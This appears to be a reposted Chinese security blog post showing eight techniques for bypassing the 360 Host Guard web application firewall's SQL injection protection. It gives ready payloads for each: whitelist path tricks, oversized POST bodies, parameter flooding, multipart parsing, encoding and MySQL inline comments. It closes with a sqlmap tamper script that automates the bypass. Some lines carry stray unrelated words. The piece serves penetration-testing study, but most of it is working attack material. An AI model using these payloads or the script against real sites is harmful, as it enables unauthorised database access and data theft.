Bypass 360主機衛士SQL注入防護(多姿式)

0x00 前言

在服務器客戶端領域,曾經出現過一款360主機衛士,目前已中止更新和維護,官網都打不開了,但服務器中依然常常能夠看到它的身影。從半年前的測試虛擬機裏面,翻出了360主機衛士Apache版的安裝包,就當作是一個記念版吧。這邊主要分享一下幾種思路,Bypass 360主機衛士SQL注入防護。php

0x01 環境搭建

360主機衛士官網:http://zhuji.360.cn軟件版本:360主機衛士Apache 記念版測試環境:phpStudyhtml

本地構造SQL注入點:python

$id=_REQUEST['id'];
query = "SELECT * FROM admin WHERE id = $id ";

0x02 WAF測試sql

因zhuji.360.cn站點已關閉,攔截界面爲空白,抓包先放一張攔截圖:數據庫

姿式一:網站後臺白名單

在360主機衛士客戶端設置中存在默認網站後臺白名單,如圖:瀏覽器

利用PHP中的PATH_INFO問題,隨便挑選一個白名單加在後面,可成功bypass。安全

/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA服務器

姿式二:靜態資源

當文件後綴名爲js、jpg、png等靜態資源後綴請求,相似白名單機制,waf爲了檢測效率,直接略過這樣一些靜態資源文件名後綴的請求。微信

/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA工具

姿式三:緩衝區溢出

當Post大包時,WAF在處理測試向量時超出了其緩衝區長度,超過檢測內容長度將會直接Bypass,若是正經常使用戶上傳一些比較大的文件,WAF每一個都檢測的話,性能就會被耗光。

基於這些考慮,POST 大包溢出的思路可成功Bypass。

/test.php

POST:

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA

姿式四:uri參數溢出

這種溢出的形式,我稱它爲uri參數溢出。好比某WAF,默認狀況下只能獲取前100個參數進行檢測,當提交第101個參數時,那麼,將沒法對攻擊者提交的第100個之後的參數進行有效安全檢測,從而繞過安全防護。

經測試,當提交的參數個數超過97個,可進行union select 查詢,再增長對關鍵字from的繞過,可成功Bypass。

http://192.168.204.128/test.php

POST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA

姿式五:GET+POST

一個歷史久遠的邏輯問題了,當同時提交GET、POST請求時,進入POST邏輯,而忽略了GET請求的有害參數輸入,可輕易Bypass。

/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST:aaa

姿式六:multipart/form-data格式

將Post、Get數據包轉爲上傳multipart/form-data格式數據包,利用協議解析的差別,從而繞過SQL防護。

------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"

1 union /* !select*/ 1,2,schema_name【這裏使用Enter換行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--

若是轉換數據包進行繞過呢?

首先,新建一個html頁面:

<html>
<head></head>
<body>
<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>

而後,在瀏覽器打開並在輸入框中輸入參數,抓包發送到Repeater,進一步構造Payload獲取數據。

姿式七:編碼繞過

客戶端對Payload進行編碼,服務端可以自動進行解碼,這時候就考驗WAF的編碼解碼能力了,若是WAF不能進行有效解碼還原攻擊向量,可能致使繞過,常見編碼如URL編碼、unicode編碼(IIS)、寬字節編碼等。這個地方雖然URL編碼也能繞過獲取數據,主要是由於WAF對POST的防護規則太過於鬆散,union select 隨便繞,select from 用%0a就能夠解決,主要分享一下編碼繞過的思路。

/test.php?id=1POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /

姿式八:%0a+內聯註釋

利用Mysql數據庫的一些特性,繞過WAF的防護規則,最終在數據庫中成功執行了SQL,獲取數據。

http://192.168.204.128/test.php

POST:

id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

0x03 自動化Bypass

​ 當測試出繞過WAF SQL注入防護的技巧後,可經過編寫tamper腳本實現自動化注入,以姿式八:%0a+內聯註釋爲例,主要是針對union select from等關鍵字替換,Payload中的部分關鍵字可能會被waf攔截,須要一步步調試,測試,總結規律。

tamper腳本:

#!/usr/bin/env python

"""
write by Bypass
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Replaces keywords
    >>> tamper('UNION SELECT id FROM users')
    'union%0a/*!12345select*/id%0a/*!12345from*/users'
    """
    if payload:
        payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")
        payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")
        payload=payload.replace(" FROM ","%0a/*!12345from*/")
        payload=payload.replace("CONCAT","CONCAT%23%0a")
        payload=payload.replace("CASE ","CASE%23%0a")
        payload=payload.replace("CAST(","/*!12345CASt(*/")
        payload=payload.replace("DATABASE()","database%0a()")
                
    return payload

加載tamper腳本,可成功獲取數據

這邊也分享一下,另外一個比較簡單的自動化注入的方法,就是使用超級SQL注入工具,利用這邊提供的注入繞過模塊,結合日誌中心的測試記錄,能夠很方便的進行調試,而後保存繞過模板,方便下次調用。

利用前面的關鍵字符進行替換,自動化注入獲取數據庫數據:

0x04 END

​ 分享了幾種有意思的繞過思路,主要利用了WAF層的邏輯問題,數據庫層的一些特性,服務器層編碼解析、參數獲取的差別。其中借鑑和學習了很多前輩們的思路,受益不淺,學習,沉澱,總結,分享,周而復始。

最後

歡迎關注我的微信公衆號:Bypass--,每週原創一篇技術乾貨。 

 

相關文章
相關標籤/搜索